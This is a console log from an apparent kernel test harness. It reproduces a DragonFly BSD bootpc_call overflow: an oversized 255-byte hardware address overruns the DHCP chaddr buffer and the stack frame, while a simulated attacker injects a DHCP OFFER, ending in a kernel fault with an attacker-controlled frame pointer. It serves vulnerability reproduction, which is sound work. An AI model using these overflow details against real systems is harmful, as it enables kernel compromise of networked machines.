### DF-3045 baseline kernel, test 50 (in-situ sdl_alen=255 through verbatim bootpc_call): FULL console capture ###

add net default: gateway 10.0.2.2: File exists
Additional routing options:.
Starting devd.
Additional TCP options:.
Mounting NFS file systems:.
ELF ldconfig path: /lib /usr/lib /usr/local/lib /usr/local/libdata/ldconfig/pkg
Building databases...
Starting syslogd.
Oct 20 16:09:27 dfbsd syslogd: kernel boot file is /boot/kernel/kernel

No core dumps found.
swap low/high-water marks set to 41940/62910
swapon: adding /dev/vbd0s1b as swap device
NFS CLIENT: access_cache_timeout=5 neg_cache_timeout=3.
Starting local daemons:.
Updating motd.
Configuring syscons: blanktime.
Starting sshd.
sendmail_submit: /etc/mail/aliases.db not present,  generating
sendmail_clientmqueue: /etc/mail/aliases.db not present,  generating
Starting cron.
Local package initialization:.

Tue Oct 20 16:09:27 UTC 2026


DragonFly/x86_64 (dfbsd) (ttyd0)



login: dfrig12: === test 50 begin ===
dfrig12: DF3045 T50: in-situ bootpc_call with sdl_alen=255: hexncpy at :718-720 writes 765 bytes from hexstr[64] inside bootpc_call's own frame -> expect fatal trap
dfrig12: DF3045: selection at :1046-1053 ACCEPTED IFT_ETHER sdl_alen=255 (>16, never checked)
dfrig12: DF3045: call.hlen=255 (call.hlen=sdl_alen at :1192)
DF3045: call.chaddr[0..23] = 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57
DF3045: chaddr member is 16 bytes; chaddr[16] (== call.sname[0]) = 50, expected MAC byte 0x50 -> bcopy at :1197 overran chaddr[16] by 239 byte(s)
dfrig12: DF3045: bcopy overran chaddr[16] by 239 byte(s): call.sname[0]=50 == MAC[16]=50
Sending DHCP Discover packet from interface fak0 (40:41:42:43:44:45:46:47:48:49:4a:4b:4c:4d:4e:4f:50:51:52:53:54:55:56:57:58:59:5a:5b:5c:5d:5e:5f:60:61:62:63:64:65:66:67:68:69:6a:6b:6c:6d:6e:6f:70:71:72:73:74:75:76:77:78:79:7a:7b:7c:7d:7e:7f:80:81:82:83:84:85:86:87:88:89:8a:8b:8c:8d:8e:8f:90:91:92:93:94:95:96:97:98:99:9a:9b:9c:9d:9e:9f:a0:a1:a2:a3:a4:a5:a6:a7:a8:a9:aa:ab:ac:ad:ae:af:b0:b1:b2:b3:b4:b5:b6:b7:b8:b9:ba:bb:bc:bd:be:bf:c0:c1:c2:c3:c4:c5:c6:c7:c8:c9:ca:cb:cc:cd:ce:cf:d0:d1:d2:d3:d4:d5:d6:d7:d8:d9:da:db:dc:dd:de:df:e0:e1:e2:e3:e4:e5:e6:e7:e8:e9:ea:eb:ec:ed:ee:ef:f0:f1:f2:f3:f4:f5:f6:f7:f8:f9:fa:fb:fc:fd:fe:ff:00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17:18:19:1a:1b:1c:1d:1e:1f:20:21:22:23:24:25:26:27:28:29:2a:2b:2c:2d:2e:2f:30:31:32:33:34:35:36:37:38:39:3a:3b:3c:3d:3e)
dfrig12: client broadcasts query #1 xid_raw=0100ffff msgtype=1 (any same-L2 host hears it)
dfrig12: ATTACKER injects OFFER xid_raw=0100ffff origin=6.6.6.6:9999 yiaddr=6.6.6.66 siaddr=6.6.6.6
DF3045: reply matcher bcmp len=255: chaddr member is 16 bytes -> reads 239 byte(s) past chaddr[15] (in-struct, into sname/file/vend)
dfrig12: client broadcasts query #2 xid_raw=0100ffff msgtype=1 (any same-L2 host hears it)
dfrig12: client broadcasts query #3 xid_raw=0100ffff msgtype=1 (any same-L2 host hears it)
dfrig12: client broadcasts query #4 xid_raw=0100ffff msgtype=1 (any same-L2 host hears it)
dfrig12: client broadcasts query #5 xid_raw=0100ffff msgtype=1 (any same-L2 host hears it)
DHCP timeout for interface fak0


Fatal trap 9: general protection fault while in kernel mode
cpuid = 3; lapic id = 3
instruction pointer	= 0x8:0xffffffff80a811cd
stack pointer	        = 0x10:0xfffff801180436e0
frame pointer	        = 0x10:0x3a37363a36363a35
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 811
current thread          = pri 10 
kernel: type 9 trap, code=0

CPU3 stopping CPUs: 0x00000037
 stopped
Stopped at      bootpc_call+0x83d:      ret
db>